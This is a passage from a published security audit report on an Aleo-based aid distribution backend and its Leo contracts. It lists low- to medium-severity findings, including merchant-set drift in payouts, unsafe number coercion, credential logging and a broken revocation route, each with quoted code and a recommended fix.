  ...(process.env.PG_CA_CERT ? { ca: fs.readFileSync(process.env.PG_CA_CERT) } : {}),
}
```

This single path covers any provider without enumerating them. A provider whose certificate chains to a public CA (for example Neon) validates against the system trust store with `PG_CA_CERT` left unset, and a provider with its own CA (for example Supabase) is handled by pointing `PG_CA_CERT` at the CA file downloaded from the provider. Also, connect by hostname rather than a raw IP so the certificate name check passes, and keep verified TLS as the default for every non-local environment rather than gating SSL behavior on a substring of the connection URL.

### Off-ramp payout uses a merchant set that can change between two reads

- **Severity**: Medium
- **Location**: backend-on-off-ramp/backend/src/sweep_and_offramp.mjs

**Description.** The off-ramp sweep reads the merchant set from the backend's `/merchants` API twice during a single run, at different times, and never checks that the two reads agree. The first read decides how much to bridge; the second decides who gets paid. A change to the set between the two reads, whether from a merchant registering, a whitelist change, or any backend data drift, silently misallocates the payout.

The first read, in `getMerchantVaultBalances`, builds the swept set and its total:

```js
// backend-on-off-ramp/backend/src/sweep_and_offramp.mjs lines 162-174
const res = await fetch(`${BACKEND_URL}/merchants`);
...
addresses = data.filter(m => m.is_whitelisted && m.aleo_address).map(m => m.aleo_address);
...
return { total: merchants.reduce((s, m) => s + m.amount, 0n), merchants };
```

`main` burns and bridges that full total (`sweepAmount = vaultTotal` at line 648), so the entire swept set's value leaves the bridge and arrives on Stellar.

The second read, in `getMerchantsWithDetails`, fetches `/merchants` again (line 712) to enrich the set for payout, and silently drops any merchant whose backend row is no longer present (`.filter(m => m.db_id !== null)`, line 723). Neither `payoutThenSettle` nor `runMoneyGramForAll` checks that this enriched set has the same addresses, or the same sum, as the set that was swept, and settlement is keyed off the second read:

```js
// lines 511-516
const enriched      = await getMerchantsWithDetails(merchants);
const payoutResults = await runMoneyGramForAll(stellarAmount, enriched);
const settledAddrs  = new Set(payoutResults.filter(r => !r.error).map(r => r.merchant.address));
const toSettle      = merchants.filter(m => settledAddrs.has(m.address));
```

`runMoneyGramForAll` then computes each payout as a share of the bridged Stellar amount, using the enriched set's sum as the denominator:

```js
// lines 741-752
const total = merchantBalances.reduce((s, m) => s + m.amount, 0n);
...
const share     = Number(merchant.amount) / Number(total);
const payoutAmt = (stellarTotal * share).toFixed(6);
```

So if the second read drops a merchant, the denominator shrinks while the bridged amount (`stellarTotal`) does not, and the remaining merchants are each paid a larger share of the same pot. The dropped merchant is paid nothing, and because `settledAddrs` is derived from the second read, it is never settled, so its `merchant_vault` entry stays on-chain.

**Impact.** A merchant dropped by the second read has its swept balance redistributed to the remaining merchants as overpayment, receives nothing itself, and keeps its `merchant_vault` entry on-chain. So the NGO pays that value to the wrong parties now and still owes the dropped merchant in a later sweep, effectively paying it twice.

**Recommendation.** Read the merchant set once. Build a single canonical snapshot at the start of the run, before burning, and pass that same set through the burn-amount decision, the payout, and the settlement, so there is no second read to drift from. Enrichment should decorate the rows already in the snapshot rather than re-fetching the list and silently dropping rows.

### On-chain u64/u128 amounts are coerced through JavaScript Number

- **Severity**: Low
- **Location**: backend/src/services/beneficiaryBalanceService.js, backend/src/services/merchantBalanceService.js, backend/src/services/tokenJoinService.js, backend-on-off-ramp/backend/src/sweep_and_offramp.mjs

**Description.** Aleo `u64` and `u128` amounts can exceed JavaScript's safe-integer limit of `2^53 - 1`, but several paths coerce them to `Number`. `beneficiaryBalanceService` converts matched amount strings with `Number(...)`; `merchantBalanceService.parsePlaintext` preserves large integers as strings, but callers such as `getMerchantBalance` and `tokenJoinService.scanTokenRecords` immediately call `Number(fields.amount)`; and the off-ramp proportional split computes `Number(merchant.amount) / Number(total)` (`sweep_and_offramp.mjs` line 751). Above `2^53` the conversion silently rounds the value.

**Impact.** For high-value records or vault entries above the safe-integer range, balance checks, record selection, proportional payouts, and settlement amounts are computed on rounded values, which can reject a valid transfer, select the wrong record, or mis-compute a payout or settlement amount.

**Recommendation.** Represent micro-USDC, `u64`, and `u128` quantities as `BigInt` or decimal strings end to end. In the off-ramp split, the float share plus `.toFixed(6)` leaves the per-merchant payouts not summing back to the bridged total, so a small remainder is stranded or over-allocated each run. Compute each payout with integer division (`stellarTotal * amount / total`) and assign the truncated remainder by an explicit rule, such as to the last merchant, so the payouts sum to the pot exactly.

### Beneficiary lock queue map grows without bound

- **Severity**: Low
- **Location**: backend/src/services/beneficiaryLock.js

**Description.** `withLock` serializes operations per beneficiary using two module-global Maps, `locks` and `queues` (lines 7-8). A queue is created for each `beneficiaryId` on first use (lines 12-14), but the `finally` block that releases the lock and dequeues the next waiter never deletes the `beneficiaryId` key from `queues` when its queue becomes empty (lines 28-34). Over time the `queues` Map accumulates one empty-array entry for every distinct beneficiary ever processed and never releases them.

**Impact.** Under sustained traffic across many distinct beneficiaries, the `queues` Map grows without bound and the Node process heap climbs until it exhausts memory and the process crashes, denying the API to all users until a restart. Impact is limited since it is recoverable by restart, carries no fund or data impact, and needs sustained volume to matter.

**Recommendation.** Delete the `queues` entry when its queue is empty and no lock is held for that beneficiary, for example `if (queue.length === 0 && !locks.has(beneficiaryId)) queues.delete(beneficiaryId);` in the `finally`. The `!locks.has(...)` check is necessary so a waiter that synchronously re-acquired the lock is not orphaned by deleting a queue it still references.

### Bulk-credit CSV parsing does not validate or de-duplicate recipients

- **Severity**: Low
- **Location**: backend/src/routes/bulkCreditsRoute.js

**Description.** `parseShortIdCsv` (lines 29-34) does not parse CSV. It splits the upload on raw newlines, strips every quote from each line, and keeps any line that then matches the short-id pattern. The bulk-credit routes `POST /aid/bulk-credits` and `POST /aid/bulk-credits-merchants` (lines 72-114) use that list directly to look up recipients and credit each one with `NGO_PRIVATE_KEY`. There are two potential defects to this approach:

- A quoted CSV field with an embedded newline is split into multiple records. A single cell such as `"HL-100\nHL-999"` becomes two recipients, so one intended row credits two parties.
- The list is never de-duplicated. A short id repeated in the file is looked up and credited once per occurrence, so a duplicate row credits the same recipient multiple times.

**Impact.** A malformed or duplicate-laden CSV makes the NGO key credit recipients the operator did not intend, or credit a recipient more than once (over-issuance). Impact is limited because the operator who supplies the file is trusted under this deployment's model, so the realistic harm is an honest operator uploading malformed data: a quoted cell with an embedded newline silently splits one intended row into two recipients, or a repeated id credits the same recipient twice. This is input-hardening against operator mistakes rather than a standalone exploit.

**Recommendation.** Parse the upload with a real CSV parser configured for a single expected column, and reject the whole import (or return a row-level error report) on embedded newlines, extra columns, malformed ids, or invalid quoting. Canonicalize and de-duplicate the recipient set before any repository lookup or signing, so a repeated id credits a recipient at most once.

### Database connection string with credentials is logged to stdout

- **Severity**: Low
- **Location**: backend/src/db/pool.js

**Description.** At module load, `pool.js` prints the full connection string to stdout before the pool is created (line 7):

```js
console.log("[DB] CONNECTION_STRING:", connectionString);
```

`connectionString` is read from `DATABASE_URL` (or `POSTGRES_URL`). This line runs before the branch that selects the connection mode, so it logs whatever `connectionString` holds. On the local and managed-provider branches that is a full URL containing the password; on the Cloud SQL branch `connectionString` is the `/cloudsql/...` socket path and the password is supplied separately via `DB_PASSWORD` (lines 18-21), so line 7 leaks the password on the local and managed branches. A second line logs the resolved Cloud SQL host, user, and database on that branch (line 23).

**Impact.** The database password is written to stdout, so it is captured by whatever collects the logs (PM2 files under `~/.pm2/logs/`, container logs, any aggregator) and persists in retained and exported copies. The database holds the plaintext custodial Aleo private and view keys along with beneficiary and merchant data, so this password is effectively a master credential: anyone who reads it can connect and obtain every signing key (fund theft) and view key (beneficiary deanonymization), or rewrite payout destinations.

Impact is limited because, under this deployment's trust model, the realistic reader of the process logs is an already-internal, trusted party: admin access is all-or-nothing, no separate party holds only the logs, and the repository shows no log shipping to a third-party aggregator or an externally reachable endpoint.

**Recommendation.** Remove the line that logs the connection string. If a connection indicator is wanted for diagnostics, log only the host and database name with the credentials stripped, and trim the Cloud SQL log line to non-secret fields. Don't write `DATABASE_URL`, `POSTGRES_URL`, or any value containing a credential to logs.

### Merchant off-ramp has no concurrency lock

- **Severity**: Low
- **Location**: backend/src/services/merchantOfframpService.js

**Description.** Unlike the beneficiary off-ramp, which serializes per beneficiary with `withLock` (`backend/src/services/offrampService.js`), `processMerchantOfframp` runs with no lock or queue. Two concurrent off-ramp requests for the same merchant therefore execute in parallel: both `scanTokenRecords` over the same unspent `Token` records and both attempt to consume them. Record selection is deterministic, `scanTokenRecords` returns records largest-first (`tokenJoinService.js` line 88) and `joinTokensIfNeeded` takes the smallest covering record or greedily joins the largest (lines 300-339), so two concurrent requests for the same amount select the same records and the second request's `join` or `spend` reverts on-chain on the duplicate serial number.

**Impact.** Because the two concurrent requests select the same records, the on-chain serial-number check makes the second one revert, so the direct outcome is wasted gas and proving effort on the reverted request, plus a possible state desync where the on-chain attempt failed but the backend's own bookkeeping disagrees.

**Recommendation.** Serialize merchant off-ramp per merchant, preferably with a cross-process lock (a Postgres advisory lock keyed on the merchant address, or the durable operation record) so it also holds across the separate `hl-api` and `hl-offramp-sweep` processes rather than only an in-memory lock. Pair it with the idempotency key from the async-result finding to close the sequential-retry double-credit.

### Dead admin route and cache/chain divergence for merchant revocation

- **Severity**: Low
- **Location**: backend/src/routes/admin.js, backend/src/services/aleoExecuteService.js, backend/src/routes/merchants.js, backend/src/services/offrampService.js

**Description.** There is no working path to revoke a merchant through the backend, and the one path that returns success silently fails to block payments. `backend/src/routes/admin.js` line 115 calls `aleoExecute.executeRevokeMerchant({...})`, but `executeRevokeMerchant` is never defined in `backend/src/services/aleoExecuteService.js` (the file defines `executeWhitelistMerchant` at line 571 and `executeRevokeIssuer` at line 583, but no `executeRevokeMerchant`) and is not in `module.exports`. Since `aleoExecute` is the required module object, `aleoExecute.executeRevokeMerchant` is `undefined`, so that the route always returns HTTP 500. The on-chain `revoke_merchant` transition (`leo/v9/src/main.leo` line 128) is therefore unreachable from the backend.

The only working "revoke" path is cache-only and misleading. `DELETE /merchants/:shortId/whitelist` (`backend/src/routes/merchants.js` line 237, commented "DB cache only - on-chain is permanent") flips the DB `is_whitelisted` flag and returns `ok: true`. But the off-ramp path trusts the cache asymmetrically (`backend/src/services/offrampService.js` lines 48-55):

```js
if (!merchant.is_whitelisted) {                       // cache says revoked
  const isWhitelisted = await aleoQueryService.getMerchantWhitelist(...); // falls back to chain
  if (!isWhitelisted) throw createError("Merchant is not whitelisted", 403);
} else {                                               // cache says true → trust it, skip chain
  ...
}
```

When an operator "revokes" via the DELETE route, the cache becomes `false`, but the fallback then queries the chain, which is still `true` because nothing flipped the on-chain mapping. The merchant continues to receive payments while the operator has positive confirmation (`ok: true`) that they were cut off.

Flipping the cache also strands funds in the sweep path. `getMerchantVaultBalances` (`backend-on-off-ramp/backend/src/sweep_and_offramp.mjs` line 165) builds its merchant set from `/merchants` filtered on `m.is_whitelisted`. A cache value of `false` drops that merchant from the sweep, leaving any accrued `merchant_vault` balance unsettled until the cache is repaired by hand.

The same defect has a mirror on the whitelist side: `POST /merchants/:shortId/whitelist` (`backend/src/routes/merchants.js` lines 177-227) correctly writes the cache only after on-chain success, but `POST /admin/whitelist-merchant` (`backend/src/routes/admin.js` lines 104-111) modifies the chain and never touches the cache, leaving `chain=true, cache=false`, which strands `merchant_vault` in the sweep exactly as above, from the opposite direction.

The root cause across all of the above issues is that the DB `is_whitelisted` flag doesn't strictly mirror the on-chain `whitelisted_merchants` mapping, so authorization state splits between chain and cache and operational code trusts the cache.

**Impact.** An operator who clicks "Revoke Merchant" receives a success confirmation but the merchant continues to receive payments. Cache/chain divergence (in either direction) also strands `merchant_vault` balances in the sweep path until reconciled manually.

**Recommendation.**

Implement and export `executeRevokeMerchant` (mirroring `executeWhitelistMerchant`, targeting `revoke_merchant` on v9d) so the `/revoke-merchant` admin route actually drives the on-chain mapping. Funnel both whitelist and revoke through a single flow each that updates the on-chain mapping first and writes the DB cache only after on-chain confirmation. Fix `POST /admin/whitelist-merchant` to update the cache on success (or remove the route and route the Settings page through the already-correct `/merchants/:id/whitelist`), so the two whitelist entry points can no longer diverge. No longer treat the DB cache as authoritative for authorization. In `offrampService` (and any other authorization-sensitive read), query the on-chain whitelist rather than the cache.

### Emergency sweep is unavailable when the v9d pool is paused

- **Severity**: Low
- **Location**: leo/v9/src/main.leo

**Description.** `sweep_vault` is documented as "Emergency sweep of program public USDCx (admin only)", but its finalize block asserts `!is_paused`:

```rust
let is_paused: bool = Mapping::get_or_use(flags, 0u8, false);
assert(!is_paused);
```

**Impact.** When the v9d program is paused during an emergency, the admin cannot use `sweep_vault` to rescue the funds from the program.

**Recommendation.** Remove 

```rust
let is_paused: bool = Mapping::get_or_use(flags, 0u8, false);
assert(!is_paused);
```

from `sweep_vault`.

### Several backend paths are hardcoded to testnet

- **Severity**: Informational
- **Location**: backend/src/services/aleoExecuteService.js, backend/src/services/merchantOfframpService.js, backend/src/services/aleoQueryServiceWithScan.js, backend/src/services/merchantBalanceService.js, backend/src/services/beneficiaryBalanceService.js

The backend reads an `ALEO_NETWORK` env var and branches on it for the Feemaster endpoint: `NETWORK === 'mainnet'` selects `https://mainnet.feemaster.aleo.org` (`backend/src/services/aleoExecuteService.js` lines 51-57), making the network easy to configure in this particular example. However, there are several other network-sensitive paths in the backend that are simply hardcoded to testnet and ignore `ALEO_NETWORK` entirely:

1. `initSDK()` (`backend/src/services/aleoExecuteService.js` lines 95-100) unconditionally does `await import("@provablehq/sdk/testnet.js")`.
2. `waitForConfirmation` on `backend/src/services/aleoExecuteService.js` line 339 fetches `${API_URL}/testnet/transaction/confirmed/${txId}`.
3. `backend/src/services/merchantOfframpService.js` lines 54-55 interpolates `NETWORK` into the Explorer URL but hardcodes the program name `test_usdcx_freezelist.aleo`.
4. Block scanning hardcodes `/testnet/` (`backend/src/services/aleoQueryServiceWithScan.js` lines 16, 26, 61, 71).
5. The SDK loaded via the bare `import('@provablehq/sdk')` (`backend/src/services/merchantBalanceService.js` line 35, `backend/src/services/beneficiaryBalanceService.js` line 114) resolves to `dist/testnet/node.js` through the default export.

Thus, we recommend deriving the SDK import, confirmation URL, scan paths, and freezelist program name from the `ALEO_NETWORK` value, similar to the branching that is already implemented for the Feemaster endpoint.

### Finalize blocks place external `.run()` before checks and effects, violating the CEI pattern

- **Severity**: Informational
- **Location**: leo/v9/src/main.leo

Leo's documentation recommends following the [Checks-Effects-Interactions (CEI) pattern](https://docs.leo-lang.org/guides/finalization#checks-effects-interactions-cei) for `final { }` blocks.
Within a single execution path, all checks (reads, `assert`s) and effects (sets, removals) should precede any `.run()` call. 
However, every interaction-composing function in `v9d` does the inverse.
`sweep_vault`, `issue_aid`, `bulk_issue_2`, `bulk_issue_4`, `spend`, `offramp_beneficiary`, and `offramp_merchant` all place the external `.run()` as the first statement of `final { }` with checks and effects placed after it.
`offramp_merchant`, for example, runs the USDCx transfer to the bridge *before* checking `!paused`, the merchant whitelist, the minimum amount, the bridge-address match, and the per-merchant cooldown.

While the current version of the `v9d` code is safe, not following CEI has led to severe exploits in the past.
(One notable example was the infamous [DAO hack](https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/) on Ethereum.)
For this reason, we recommend the following:
In each of the seven affected finalize blocks, move the `.run()` call(s) to the bottom, after all `assert`s and `Mapping::set`s. 
Notice that such reorders are behavior-preserving since no check or effect consumes the result of `.run()`, so there is no data dependency.

### Beneficiary records and view keys are sent to the delegated prover and scanner in plaintext

- **Severity**: Informational
- **Location**: backend/src/services/aleoExecuteService.js, backend/src/services/merchantBalanceService.js, backend/src/services/beneficiaryBalanceService.js

**Description.** Two paths send beneficiary private material to Provable's delegated prover and scanner. The self-paid proving path (used when `FEEMASTER_DISABLED=1`) submits a request built from the transition inputs, which include the decrypted `Token` record, without the `dpsPrivacy` encrypted option the Feemaster path uses (`aleoExecuteService.js` lines 225-258). Scanner registration POSTs full account view keys to the remote scanner (`merchantBalanceService.registerViewKey` lines 105-134, `beneficiaryBalanceService.getUuid` lines 34-41).

**Impact.** Omitting `dpsPrivacy` on the self-paid path drops the encrypted transport, so the proving request is exposed to a network attacker in transit.

**Recommendation.** Set `dpsPrivacy: true` on the self-paid path too, so the request is not readable in transit.

### v9d singleton state uses the pre-3.3.0 `mapping … u8 => T` syntax instead of `storage`

- **Severity**: Informational
- **Location**: leo/v9/src/main.leo

`humanity_link_aid_v9d.aleo` declares all of its singleton state (`admin_address`, `flags`, `bridge_address`, `clocks`, `limits`, and the five `total_*` counters) as mappings keyed at the constant `0u8`. Every access then carries a literal `0u8`. This is the pre-Leo-3.3.0 workaround for the absence of singleton state.

[Leo 3.3.0](https://github.com/ProvableHQ/leo/releases/tag/v3.3.0/) added the `storage` keyword, and the companion contract `humanity_link_bulk_v9d.aleo` actually already uses it on line 35 (`storage admin: address;`).

Migrate the singletons to `storage` declarations to match v9bulk. The genuine per-key mappings (`authorized_issuers`, `whitelisted_merchants`, `last_merch_offramp`, `merchant_vault`) stay as-is.

### `storage admin: address` in `humanity_link_bulk_v9d.aleo` is set but never read

- **Severity**: Informational
- **Location**: leo/v9bulk/src/main.leo

The bulk contract declares an `admin` storage slot and initializes it in the constructor:

```rust
@custom
constructor() {
    admin = self.program_owner;
}

storage admin: address;
```

However, `admin` is never referenced again in the code. We recommend using this slot as the admin gate for the `authorize_issuer` function recommended in the fix of [Missing authorization checks in `bulk_issue_8` / `bulk_issue_15` allow an attacker to drain v9d's entire USDCx balance](#finding-H-bulk-issue-permissionless-drain).

---

This report was published on the [zkSecurity Audit Reports](https://reports.zksecurity.xyz) site by [ZK Security](https://www.zksecurity.xyz), a leading security firm specialized in zero-knowledge proofs, MPC, FHE, and advanced cryptography. For the full list of audit reports, see [llms.txt](https://reports.zksecurity.xyz/llms.txt).
